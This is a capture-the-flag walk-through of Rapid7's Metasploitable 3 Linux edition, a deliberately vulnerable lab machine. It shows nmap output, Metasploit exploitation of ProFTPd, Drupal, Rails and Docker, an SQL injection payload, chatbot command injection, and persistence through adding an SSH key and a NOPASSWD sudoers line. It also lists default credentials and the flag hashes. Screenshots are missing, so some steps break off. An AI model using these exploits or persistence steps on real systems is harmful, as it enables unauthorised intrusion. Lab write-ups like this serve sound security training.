Metasploitable 3 - A Walk-Through - Linux Edition
Metasploitable 3 - A Walk-Through - Linux Edition
Metasploitable 3 - A Walk-Through - Linux Edition
Introduction 4
Setup 5
Host File 5
SSH Key 5
Password List 6
Tool Sets 6
Scanning/Enumeration 7
Exploitation 8
Port 21 / ProFTPd 1.3.5 8
Port 22 / SSH 10
Port 80 / Apache 12
Chat with Papa Smurf 13
Payroll_App.php - SQL Injection 17
Alternative Solve - Payroll App 21
Drupal - Drupageddon 23
PHPMyAdmin 26
PHPMyAdmin w/ Credentials 27
Port 445 / Samba 29
Port 631 / CUPS 31
Port 631 / CUPS with Credentials 31
Port 3306 / MySQL 32
Port 3500 / WEBbrick 34
Port 6697 / UnrealIRCD 36
Port 8181 / WEBbrick 37
Escalation 38
SUDO 38
OverlayFS Local Exploit 38
Docker 39
Persistence 40
Flags / Cards 48
2 of Spades 48
1e6f926e341b9daf32fe70171eb727b4 50
10 of Spades - Port 3500 51
179d54b67a08326b14bd6f2109fb7921 53
King of Spades - Port 6697 54
King of Spades Alternative Solve 56
8fc453ee48180b958f98e0d2d856d1c8 58
6 of Clubs - Port 8181 59
d9247a49d132a4f92dcc813f63eb1c8b 61
6 of Clubs Alternative Solve 61
8 of Clubs 63
5b0c5fe06186c808af0627a5457f811d 63
10 of Clubs 64
79c9107cf553b149a542501f5fb277d7 66
Ace of Clubs 67
7aa0260989946155c0c6178ffc9b25e9 68
Ace of Clubs Alternate Solve 68
3 of Hearts 70
cb53b81df46068c763e6f6ec67000c8f 70
5 of Hearts 71
1862c5dac75e43bb8d530d54575592b7 72
8 of Hearts 73
e8e2f19dad5fc32f022952690d5beee6 74
5 of Diamonds 75
97bf04578c58062c1440f17668f6017b 77
7 of Diamonds 78
07e2e1a974bf5f261e9c70e5890456f4 79
9 of Diamonds 80
097a0b9b4b08580caa5509941d7e548d 80
Joker 81
4ad861d9fa6cb5c7fe60d55757b2693a 83
Summary 84
Introduction
Rapid7 hosted a Capture the Flag (CTF) in order to announce their new version of
Metasploitable 3, the Linux edition. The event was opened to a maximum of 500 entries
consisting of individuals or teams. This document seeks to walk the reader through the thought
process used in completing the CTF and the roadblocks experienced while attempting the
challenges.
The challenges were images of playing cards with the description for each image given within
the Challenges section of the CTF website . The subsequent answer to each challenge would
be the MD5 of the image itself. This is very similar to the methodology employed by
Metasploitable3 Windows Edition ( https://github.com/rapid7/metasploitable3/ ).
.
Setup
Before starting a CTF, there are a number of components that I prefer to have set up and
available to use as soon as the CTF begins. This preparatory work lessens the initial ‘setup
scramble,’ while simultaneously improving the overall workflow for the event. This initial work
also serves to significantly reduce the amount of typing once the event is in full swing.
Host File
When targeting only a select few hosts or, perhaps more specifically, when the number of hosts
are so few that they are referred to by IP address, a key time-saving technique is to immediately
add them to the hosts file. This technique has the advantage of making the individual hosts
easier to remember and faster to access.
SSH Key
Another critical time-saving technique is the creation of an SSH key. For the purposes of a CTF
event leave the newly-created SSH key as the default id_rsa / id_rsa.pub. No password is
required for this step but it is crucial to note that if the event is composed of any player-vs-player
component, or if such a component is even possible, ensure it is password-protected.
Password List
Password lists are a core component of any CTF. Another technique which yields positive
results is reusing password lists which have been used in previous CTFs hosted by the same
individuals. While the probability of success is low, when it works it is incredibly effective. It is
recommended that any identified credentials used throughout the duration of the CTF be noted
for future use. This CTF employed a similar username and password list to the Metasploitable3
Windows Edition which can be found here:
https://github.com/rapid7/metasploitable3/wiki/Configuration
U: vagrant P: vagrant
U: leah_organa P: help_me_obiw@n
U: luke_skywalker P: use_the_f0rce
U: han_solo P: sh00t-first
U: artoo_detoo P: beep_b00p
U: c_three_pio P: pr0t0c0l
U: ben_kenobi P: thats_no_moon
U: darth_vader P: d@rk_sid3
U: anakin_skywalker P: yipp33!!
U: jarjar_binks P: mesah_p@ssw0rd
U: lando_calrissian P: b@ckstab
U: boba_fett P: mandalorian1
U: jabba_hutt P: not-a-slug12
U: greedo P: hanShotFirst!
U: chewbacca P: rwaaaaawr5
U: kylo_ren P: daddy_issues1
Tool Sets
Another significant bottleneck in CTF events is the installation of custom tool sets. It is
recommended that competitors know and document their needed tool sets ahead of time to
minimize their initial setup. A suggested tooling is listed below:
apt install ffmpeg gobuster zbar-tools strace pngcheck exiftool knockd irssi
sox gpg xplico chaosreader php
Scanning/Enumeration
The initial scanning revealed a number of open ports on our target system.
Note: ‘target’ was previously added to the hosts file of our attacker system in order to
simplify access.
# Nmap 7.60 scan initiated Tue Dec 5 18:11:57 2017 as: nmap -oA target -sV -p- -Pn
-n --version-all --open target
Nmap scan report for target (10.0.18.244)
Host is up (0.00053s latency).
Not shown: 65525 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol
2.0)
80/tcp open http Apache httpd 2.4.7
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3306/tcp open mysql MySQL (unauthorized)
3500/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.5 (2017-09-14))
6697/tcp open irc UnrealIRCd
8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.5 (2017-09-14))
MAC Address: 0A:62:51:75:FB:CE (Unknown)
Service Info: Hosts: 10.0.18.244, target, irc.TestIRC.net; OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel
Exploit target:
Id Name
-- ----
0 ProFTPD 1.3.5
The first attempted resulted in failure due to uncertainty regarding the path for ‘web root.’
However, employing another common SITEPATH resulted in successful exploitation.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The exploitation resulted in unprivileged access running under the context of www-data within a
command shell, however Metasploit facilitates converting a simple command shell into a
Meterpreter session (if you aren’t worried about detection and the networking is easy) with the
“-u” argument of the sessions command:
^Z
Background session 25? [y/N] y
msf exploit(unix/ftp/proftpd_modcopy_exec) > sessions -u 2
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]
Unfortunately, there was no flag identified related to the ProFTPd service, but it did permit file
read access, allowing access to the 8 of Clubs.
Port 22 / SSH
Port 22 -- typically used for SSH -- revealed little that was particularly exploitable. It was,
however, possible to log into the machine via credentials which were collected via the
Payroll_App.php - SQL Injection.
It is vital to pay close attention to the users in the “docker” group: boba_fett, jabba_hutt,
greedo or chewbacca: these users are able to perform escalation to root detailed in the Docker
privilege escalation section. Also note the sudo privileges for the users leia_organa,
luke_skywalker, and han_solo.
Port 80 / Apache
Port 80 -- reserved, typically, for various web servers -- was also found to be open. This section
will break down each of the applications found within the Apache web server. Note that the
Apache web server itself did not appear directly exploitable.
Chat with Papa Smurf
There was a particularly challenging component: Chat with Papa Smurf. The only component
available to the competitors was the basic PHP chat application located here:
https://code.tutsplus.com/tutorials/how-to-create-a-simple-web-based-chat-application--net-5931
.
The chatbot appears to disclose interesting and potentially useful information, alongside links to
Metasploit and, of course, the ever-present Rick Astley promising “Never Gonna Give You Up,
Never Gonna Let You Down!”
It appears that Papa Smurf isn’t just throwing data into chat, but can actually respond to
commands as well. It says it “knows” everyone, lets try asking who it knows:
It also appears that the Papa Smurf chatbot is able to read /etc/passwd from the file system.
The Papa Smurf chatbot also appears to mention which flag he holds:
The first step to attempting to exploit the chatbot is to try simple command injection using ping,
converted into HTTP acceptable strings (URI/CGI encoding).
Adding this on to the end of the command that read the “/etc/passwd” (the “do you know”
command), lets see if we can get a ping going:
w00tw00t it worked! The results of the command were provided by Papa Smurf
With verification that the input to the chatbot allows for command injection, the next step is to
leverage Metasploit’s web_delivery module:
msf exploit(multi/script/web_delivery) > options
Important to note: in order to successfully achieve a shell, the semicolon at the beginning before
the ‘python’ is critical. I forgot to do this for nearly 30 minutes of trying.
And with that we will move this over to the Ace of Clubs
(*There were indications there was a CORS attack here with the obvious added headers:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
And with the stored XSS, it was possible, but I didn’t know how to exploit it. :/
Payroll_App.php - SQL Injection
center>
<form action="" method="post">
<h2>Payroll Login</h2>
<table style="border-radius: 25px; border: 2px solid black; padding: 20px;">
<tr>
<td>User</td>
<td><input type="text" name="user"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="OK" name="s">
</tr>
</table>
</form>
</center>
w00tw00t!
From here, I like to switch into the SQLMap Shell so I don’t have to mess with the command line
options every time:
--dump gives us the current database dump. This nets us some users and clear text credentials
These passwords actually worked for a number of system level users.
--schema will show us all the databases, tables, and their fields. Some of the ones I found
interesting are below:
Database: payroll
Table: users
Database: super_secret_db
Table: flags
Database: drupal
Table: users
Database: mysql
Table: user
We already have the payroll users tables; let's get the rest. Here is the Database -> Table and
data that I found in them.
mysql->User
metasploitable | [email protected] |
$S$CJIHJhMPBaUXD1eqgmvZEms1N0Ihj6DmJNbe/bldU7ySCk./QC/R
This database took a VERY long time. I cancelled it after a while only to learn that it was trying
to pull a giant binary blob out of that table. I needed a better way of getting that information.
You can follow along with what that data actually was at the 8 of Hearts.
Alternative Solve - Payroll App
If you look in Kylo Ren’s directory there is a PoC for exploiting the SQL injection in the Payroll
app, and the PoC just dumps the passwords for everyone (without the useful username it goes
along with).
url = "http://127.0.0.1/payroll_app.php"
uri = URI(url)
user = 'luke_skywalker'
injection = "password'; select password from users where username='' OR ''='"
And when you try it out, you get the password from the Payroll database:
Luckily, looking through Metasploit there are some exploits for Drupal: now to find the one that
works. 7.5 was released in 2011 so that (usually) rules out anything disclosed before that date.
I went with Drupageddon first because I doubted that the CTF team had set up OpenID on this
install and it was the next closest exploit. One thing that gave me a double-take was the range
of exploitable versions in the module:
Description:
This module exploits the Drupal HTTP Parameter Key/Value SQL
Injection (aka Drupageddon) in order to achieve a remote shell on
the vulnerable instance. This module was tested against Drupal 7.0
and 7.31 (was fixed in 7.32).
I read that as 7.0 to 7.3.1, fixed in 7.3.2, but Drupal uses double digit version, so this should
work.
msf exploit(multi/http/drupal_drupageddon) > set TARGETURI /drupal/
TARGETURI => /drupal/
msf exploit(multi/http/drupal_drupageddon) > exploit
w00tw00t! We are running as www-data, but lots can be done from just a standard user.
I have highlighted the new user created above (mnACssuaQM:OyXrmsDauv) just to make sure we
remember it and can use it to log in later, since this module also makes it an administrator.
Here we are logged into the application, and at this point we’ll continue with the 5 of Hearts.
PHPMyAdmin
On the /phpmyadmin/ page, you can get to the Documentation.html without authentication:
this affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3. PHP versions > 5.4.6 are not
vulnerable.
This exploit should work as long as the PHP version installed isn’t too new, but it needs valid
credentials for the MySQL root user in order to get us a shell. In this case, it doesn’t look like
that’s root/blank.
PHPMyAdmin w/ Credentials
You can find the database credentials in /var/www/html/drupal/sites/default/settings.php, and it’s
a world readable file, so you can access it from any user. The root user’s password is ‘sploitme’,
and when you log in you can access the super_secret_db talked about in the Payroll_App.php -
SQL Injection.
I found this to be the quickest method of pulling the 8 of Hearts out of the database:
—and with that you can follow the rest of the way at the 8 of Hearts.
Port 445 / Samba
This was only exploitable from
[*] 10.0.18.244:445 - Host could not be identified: Windows 6.1 (Samba 4.3.11-Ubuntu)
Brute forcing with my password list I was very happy that I had added previous passwords for
Metasploitable 3, because it turned out that chewbacca was the only one with access and his
password was the old “rwaaaaawr5” password.
Not sure if it was something I was doing wrong or what, but that’s all she wrote.
Port 631 / CUPS
Normally I don’t think twice about CUPS—every time I’ve tried to exploit it in other CTFs and on
pentests, it just doesn’t work for me for whatever reason. But I did surf to the page and identify
the version just in case I could do anything with it later.
Even with credentials (I used the user I created for ensuring persistence and discussed later in
this document), I couldn’t get the module: exploit/multi/http/cups_bash_env_exec to work,
despite giving the exact version we are testing in the comments in the module as exploitable:
# Tested:
# - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
# - CUPS version 1.5.3 on Debian 7 (x64)
# - CUPS version 1.6.2 on Fedora 19 (x64)
# - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
Port 3306 / MySQL
This port/service wasn’t remotely exploitable from what I could tell, and 5.5.58 was released
2017-10-16. So, unless you have a 0day stacked up for MySQL, there’s probably nothing
available to exploit the service. It is a database, however, so once you have credentials for it
and are able to log in to it (locally as the “root” mysql user, or remotely via phpmyadmin), you
are golden, but no shells here.
Once you do have access to the database to look at it, you can see why it wasn’t remotely
exploitable even with credentials. The MySQL user “root” is the only user available and it’s only
available to login for localhost or 127.0.0.1. Below is the host the user is allowed to log in from,
the user, and the hash for the user.
*One quick side note about other CTFs is that the unique bit in MySQL users is the host, not the
user, so sometimes CTF organizers play tricks and have different passwords for different hosts,
for the same username.
Port 3500 / WEBbrick
When default pages are found, I attempt to find the vhost either via its SSL certificate CNs or
utilizing the Gobuster tool, kindly donated to the community by OJ
(https://github.com/OJ/gobuster or apt-get within Kali Linux).
A good write up for this vulnerability can be found here: https://lwn.net/Articles/392201/. The
TL;DR is that for any command sent to the server starting with “AB”, whatever followed would be
sent directly to system calls.
id
uid=1121(boba_fett) gid=100(users) groups=100(users),999(docker)
Set-Cookie:
_metasploitable:BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTZjYTMxYTY4ZTBhMmRmZTFkZDVj%0AMzQ0Yj
MxODI3MTY4N2Y4MjRjY2ZlNDdjMGIyZjc2OTQwYzc4ODIwYjQ3YzMG%0AOwBGSSIUX21ldGFzcGxvaXRhYmxl
BjsAVEkiVFNoaGhoaCwgZG9uJ3QgdGVs%0AbCBhbnlib2R5IHRoaXMgY29va2llIHNlY3JldDogYTdhZWJjMj
g3YmJhMGVl%0ANGU2NGY5NDc0MTVhOTRlNWYGOwBU%0A--f82615e3823734a59c0e6d4a742fd988b90c4db
6
Now cryptography isn’t my strongest area so this one took me a long while to figure out.
SUDO
We found in the SSH portion that leia_organa, luke_skywalker, and han_solo all have sudo
rights. You can use ‘sudo’ to do anything as the root user. Rather than keep having to type
sudo, I prefer to just switch into an interactive root shell with the command ‘sudo -i’.
Linux ip-10-0-18-244 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014
x86_64 x86_64 x86_64 GNU/Linux
A search within Metasploit quickly identified the OverlayFS Privilege Escalation vulnerability
module exploit/linux/local/overlayfs_priv_esc:
I tried the Metasploit module using a couple of different shell types but was unable to achieve a
remote session. A Google search then identified a proof of concept on Exploit DB which as you
can see from the screenshot below worked perfectly:
https://www.exploit-db.com/exploits/37292/
Docker
Another method for escalating to root was to abuse the local Docker daemon. You can read
more about why it’s exploitable in the exploit module that forzoni created. This immediately
came to minds as soon as I started seeing users who were members of the “docker” group and
this was a module I therefore wanted to try.
Provided by:
forzoni
Description:
This module obtains root privileges from any host account with
access to the Docker daemon. Usually this includes accounts in the
`docker` group.
We need to set the SESSION to one of the SSH sessions we got via the SSH login module, or, if
you already have a shell via any other methods detailed in this document, with one of the users
in the docker group: boba_fett, jabba_hutt, greedo or chewbacca.
Channel 2 created.
whoami
root
Persistence
Well this was easy: since SSH was open and it was my dedicated target (i.e. I wouldn’t mess
with other CTF players), I just went ahead and added a new user. Just in case they had default
sudoers, I added my new users to the ‘admin’ group (default sudo ALL).
I double checked by logging in just to ensure that I hadn’t mis-typed something and confirmed
that it worked. This meant that as long as no one removed the account or reset the VM I should
be good as root for the rest of the competition.
Another set of things to do once logged in just to speed things up is to add your SSH key to the
user you created and allow sudo without password:
1. (on target)
a. mkdir .ssh/
2. (on attack)
a. scp ~/.ssh/id_rsa.pub mubix@target:~/.ssh/authorized_keys
b. sudo sh -c 'echo mubix ALL=NOPASSWD: ALL >> /etc/sudoers'
On-Target Scanning and Enumeration
Listening Ports
Apache
Ruby on Rails
UnrealIRCd
Papa Smurf
MySQL
ReadMe
Docker
Obfuscated Ruby
Hearts
root@target:~# find / -iname '*hearts*' -type f
/lost+found/3_of_hearts.png
/var/www/html/drupal/sites/default/files/styles/large/public/field/image/5_of_hearts.
png
/var/www/html/drupal/sites/default/files/styles/thumbnail/public/field/image/5_of_hea
rts.png
/var/www/html/drupal/sites/default/files/field/image/5_of_hearts.png
Spades
root@target:~# find / -iname '*spades*' -type f
/home/leia_organa/2_of_spades.pcapng
/opt/readme_app/public/images/10_of_spades.png
Diamonds
root@target:~# find / -iname '*diamonds*' -type f
/var/lib/docker/devicemapper/mnt/1ff7956591eec7a4106b9c1feb82a46624d39ddc8cabc2d901d3
79571c0d581f/rootfs/home/7_of_diamonds.zip
/var/log/upstart/five_of_diamonds_srv.log
/etc/init/five_of_diamonds_srv.conf
/opt/knock_knock/five_of_diamonds
Clubs
root@target:~# find / -iname '*clubs*' -type f
/home/anakin_skywalker/52/37/88/76/24/97/77/22/23/63/19/56/16/27/43/26/82/80/98/73/8_
of_clubs.png
/home/artoo_detoo/music/10_of_clubs.wav
Joker
root@target:~# find / -iname '*joker*' -type f
/etc/joker.png
File Search Summary
Just using file search, we found 9 of the 14 files for the challenges, and 2 of them which
probably have flags in them (the ones that had iVBORw0K in them).
Joker /etc/joker.png
2 of Spades /home/leia_organa/2_of_spades.pcapng
10 of Spades /opt/readme_app/public/images/10_of_spades.png
6 of Clubs UNKNOWN
8 of Clubs /home/anakin_skywalker/52/37/88/76/24/97/77/22/23/63/19/56/1
6/27/43/26/82/80/98/73/8_of_clubs.png
10 of Clubs /home/artoo_detoo/music/10_of_clubs.wav
3 of Hearts /lost+found/3_of_hearts.png
5 of Hearts /var/www/html/drupal/sites/default/files/field/image/5_of_he
arts.png
8 of Hearts UNKNOWN
5 of Diamonds /opt/knock_knock/five_of_diamonds
7 of Diamonds /var/lib/docker/devicemapper/mnt/1ff7956591eec7a4106b9c1feb8
2a46624d39ddc8cabc2d901d379571c0d581f/rootfs/home/7_of_diamo
nds.zip
9 of Diamonds UNKNOWN
Flags / Cards
2 of Spades
/home/leia_organa/2_of_spades.pcapng
Opening up the PCAPNG file, it’s pretty plain to see that SIP is pretty much the only traffic.
The nice thing about Wireshark is that it’s pretty simple to look at and listen to SIP conversations
that have been captured:
If we click on “Play Streams” we can listen to the phone call.
If you listen hard to the end of the stream, a computer voice spells out a URL for:
https://imgur.com/gmThKFP. Save the image locally and MD5 it, and you have your flag.
1e6f926e341b9daf32fe70171eb727b4
10 of Spades - Port 3500
A quick Google search for “rails 4.2.4 exploit” finds this:
https://www.cvedetails.com/cve/CVE-2016-2098/
Obviously anything with a Metasploit module automatically gets upgraded to “probably the right
track”. Running the module is pretty straightforward. Setting the target URL as “/readme” and
parameter of “os” from os=linux was enough to get this exploit to work:
Exploit target:
Id Name
-- ----
id
uid=1124(chewbacca) gid=100(users) groups=100(users),999(docker)
Let’s upgrade this standard command shell to Meterpreter so we can look around more easily:
^Z
Background session 7? [y/N] y
msf exploit(multi/http/rails_actionpack_inline_exec) > sessions -u 7
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [7]
A quick look around the application and we find the 10_of_spades.png in the public images
folder:
meterpreter > ls
Listing: /opt/readme_app/public/images
======================================
<SNIP>
You can see that in the Message of the Day, I started getting some Base64 text, and you might
recognize iVBORw0K. That’s the PNG magic number Base64’d. But therein lies the rub. The
server disconnects you before you get all of the Base64. Having every byte was important
because this CTF uses MD5 sums of files, and a one-byte difference (or a byte missing) means
a different MD5—which means no correct answer. But I wanted to see at the very least if there
were any helpful hints in the first bits; since Base64 is an encoder, we should be able to see
“something”.
cat irc.log | grep ":-" | awk -F ":- " '{print $2}' | grep -v " " | tr -d "\n\r" |
base64 -d | xxd > /tmp/irc2.png
No joy. Not enough of the file. :(
I continued to strike out on this one via the network method using a bunch of different tactics. I
even wrote my own IRC connection Ruby script to pull down the MOTD, but I was getting
disconnected no matter what I did. So I finally just went after the file.
You have to be root to get to it, but if you followed any of the escalation paths or got root via one
of the other exploits, you should be good here.
-r-------- 1 boba_fett root 197K Nov 7 16:40 ircd.motd
When you finally get that image decoded correctly and opened, you get this:
Booo... Yes, I MD5’d this and turned it in even though it didn’t look like the other cards.
8fc453ee48180b958f98e0d2d856d1c8
6 of Clubs - Port 8181
I didn’t know how to work with Ruby cookies all that well (Ruby because its running on Webrick),
but I did remember a few tricks I had seen exploits for in the past. One of these was the Github
Enterprise RCE:
http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html
(irb echos the result of everything you do, so I’m removing the unimportant bits)
root@kali:~# irb
irb(main):001:0> require 'cgi'
=> true
irb(main):002:0> cookie =
"BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExMWIyNWU2ZDdhNWE2NjNiMzA4%0AZjlmZTFhZWZjMmVjMjIwY
WFmY2NkOTg0NTNjYmY5MTYzYWVkOTUzZjhkZWQG%0AOwBGSSIUX21ldGFzcGxvaXRhYmxlBjsAVEkiVFNoaGh
oaCwgZG9uJ3QgdGVs%0AbCBhbnlib2R5IHRoaXMgY29va2llIHNlY3JldDogYTdhZWJjMjg3YmJhMGVl%0ANG
U2NGY5NDc0MTVhOTRlNWYGOwBU%0A--880b78ce5b87461d532cb382b3cbf9a74bec9229"
But code execution didn’t get me the flag. I looked around the directory for a while trying to
figure out what I had missed. Another thing that threw me was the fact that the binary wasn’t
stripped of debugging data:
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared
libs), for GNU/Linux 2.6.24, BuildID[sha1]=71ab5fd52203327f7cae5b2dc29bb7605056db77,
not stripped
So I started down the GDB path of trying to debug the server, but then I remembered it was the
flag URI, so I went back to the drawing board to send the name of different cards to the flag URI
in the cookie.
If you read the code it looks like it’s de-obfuscating a file and then deleting it. So I set up a catch
for the file (a while loop trying to copy the file).
When you open the file it’s a big blob of text; well, according to the process list, we already have
the key to decode it. Here is the Ruby from the process list, without deleting the file and saving
the decoded Ruby instead of running eval on it:
require 'obfuscate'
There is our favorite string :) Base64 decoding that variable to a file will result in the flag image.
8 of Clubs
This one is pretty straightforward: it’s just finding the file in Anakin Skywalker’s home directory:
/home/anakin_skywalker/52/37/88/76/24/97/77/22/23/63/19/56/16/27/43/26/82/80/98/73/8_
of_clubs.png
This one you didn’t need to be root to read, as it’s world readable:
-rw-r--r-- 1 anakin_skywalker users 528K Nov 7 16:45 8_of_clubs.png
5b0c5fe06186c808af0627a5457f811d
10 of Clubs
This one gave me almost as much trouble as the Joker—so much so that I’m not sure I’m a fan
of R2-D2 anymore. The file was located at /home/artoo_detoo/music/10_of_clubs.wav with
the following permissions:
But luckily we found artoo’s password in the SSH portion, or we can our root shell via privilege
escalation.
The file looks and sounds like a mess if you open it up in Audacity:
The spectrogram looked better, though. This is straight up data, probably compressed in some
way, but it’s not just a WAV.
But file says it’s definitely a WAV:
root@kali:~# file 10_of_clubs.wav
10_of_clubs.wav: RIFF (little-endian) data, WAVE audio, ITU G.711 A-law, stereo 8000
Hz
I also tried all the methods detailed here: https://trailofbits.github.io/ctf/forensics/ in the “Video
and Audio file analysis” section.
A fellow CTFer suggested I was trying too hard and advised me to do more analysis on the file.
One of the other tools that famously tells you all the odd bits in a file is binwalk:
Listing: /opt/chatbot/papa_smurf
================================
root@kali:~# cat chat_client.js | grep iVBORw0K | awk -F '"' '{print $2}' | base64 -d
> ace.png
7aa0260989946155c0c6178ffc9b25e9
You can also just ask the bot for the flag. Papa Smurf gives it up without much pretext:
Here are all the ways you could have asked for it:
[/(give|get|fetch|show) me (flag|ace of clubs)/i, flag],
[/give me (flag|ace of clubs)/i, flag],
[/(can|may|could) I have the (flag|ace of clubs)/i, flag],
[/I (want|need|desire|demand|request) (the flag|ace of clubs)/i, flag],
[/flag me/i, flag],
[/^ace of clubs$/i, flag]
I love these kind of tricks in CTFs. I’m not upset I didn’t figure it out, but I do appreciate the
reminder that just asking for what you want works a lot of the time. Life lessons in CTFs ;-)
3 of Hearts
The 3 of Hearts can be found in the lost and found:
root@target:/lost+found# ls -alh
-rw------- 1 root root 487K Nov 7 16:45 3_of_hearts.png
It’s only readable by root, but once you are root, it’s just the file—no other tricks.
cb53b81df46068c763e6f6ec67000c8f
5 of Hearts
I found the 5 of Hearts by just browsing around the Drupal page:
But it wasn’t:
Yup, that’s iVBORw0K staring at us from an EXIF tag. Now just to extract it, Base64 decode it and
see what it makes:
root@kali:~# exiftool 5_of_hearts.png | grep hearts | awk '{print $6}' | base64 -d >
five_of_hearts.png
1862c5dac75e43bb8d530d54575592b7
8 of Hearts
Dumping the data from super_secret_db you get a zip file:
If you had already finished the 7 of Diamonds, then the first password you would have tried is
“th1s1s@p@ssw0rd!” and you would have failed. I tried John the Ripper and Hashcat. Neither
cracking tool seemed to support this zip type, at least in the methods I tried.
I stole their code and modified it a bit to use my own word list instead of John the Ripper.
https://gist.github.com/mubix/ca0ab8b0330767618e6ef380a3ac193c. Yes, I could have just
made the loop myself, but I was in a hurry :)
This was yet another instance where I was glad I had put a list of old passwords together. Unzip
the file and you have your prize.
e8e2f19dad5fc32f022952690d5beee6
5 of Diamonds
For this one I didn’t see any external reference to port knocking, or a way to find out which ports
to knock, so I did all of this from the aspect of already having root.
I started off looking at the binary itself. When I saw a PNG header in the strings of the binary, I
got excited and thought this might be an easy win.
Not so much. I’m sure there is a way with strings to get the entire image out, but I didn’t mess
with it. Instead I looked at the actual port knocking side to see what I could see.
Ok, so it just sets up firewall rules. I can do that too, #iamroot :), but instead of figuring out rules
to set, and again because this is my host by myself, I decided to just flush the firewall rules
completely (iptables -F) (word of warning: if the INPUT table was set to default DROP, this
would have disconnected me. I have done this to my embarrassment so many times that I
double check every time now before I flush).
index.html [ <=>
] 406.93K --.-KB/s in 0.002s
This was another file-based one (as root), but I assume you were supposed to get the file from
inside a Docker container. It was readily available on the file system:
root@target:/var/lib/docker/devicemapper/mnt/1ff7956591eec7a4106b9c1feb82a46624d39ddc
8cabc2d901d379571c0d581f/rootfs/home# ls -alh
-rwx------ 1 root root 719K Nov 7 16:44 7_of_diamonds.zip
Unfortunately, there is another zip inside the first and it’s password protected:
[7_of_diamonds.zip] 7_of_diamonds.png password:
Looking at the hint.gif resulted in my watching an animated gif of QR codes scroll by:
Make sure you create another directory for all of the frames (I called mine “codes”) because
there are 313 of them.
zbarimg codes/qrcodes-0.png
QR-Code:89504e470d0a1a0a0000000d49484452000001770000006108
89504e is the header to a PNG, so the QR codes make a PNG for us.
Take the “natural” order of ls to keep the files in the correct order. Then pipe each to zbarimg,
then into a file.
Take that file, remove the “QR-Code:” part and toss it into xxd to switch hex to binary data, and
into the image.png.
th1s1s@p@ssw0rd!
07e2e1a974bf5f261e9c70e5890456f4
9 of Diamonds
This one was another file-based one. It was a bit trickier since it wasn’t named with one of the
suits, but looking around in each user’s home directory lets you find Kylo Ren’s “.secret_files”
with only one file inside (have to be kylo or root to look inside the directory):
root@target:/home/kylo_ren/.secret_files# ls -alh
-rw---x--- 1 kylo_ren users 672K Nov 7 16:45 my_recordings_do_not_open.iso
That’s it, just move the file to where you can get at it and you’re done with the 9 of Diamonds.
097a0b9b4b08580caa5509941d7e548d
Joker
The Joker gave everyone in the CTF a run for their money. It seemed very easy at first, but it
turned out to be the sticking point for almost everyone (unless you lucked out and used the right
tool for the job out of the gate).
It was an easy find just sitting in /etc. You did have to be root to get at it, but not a problem,
right?
So, obviously you have to invert it, right? Therein lies the problem. Here are the methods I tried:
b6413a426303d2c1cc2bfabf912d7fb1 https://www169.lunapic.com/editor/
281e57c8f7738aa9f17d13af086dc148 https://www.imgonline.com.ua/eng/makenegative.ph
p
As you can see, I got a different hash for each method. After much discussion with the CTF
admins and other players, it basically came down to using GIMP:
This yielded a hash that was accepted (after you turned off “Save creation time”). I’m just too
frustrated with the Joker challenge to boot my Kali VM up again to grab a correct screenshot.
4ad861d9fa6cb5c7fe60d55757b2693a
Summary
Card Location Method of Completion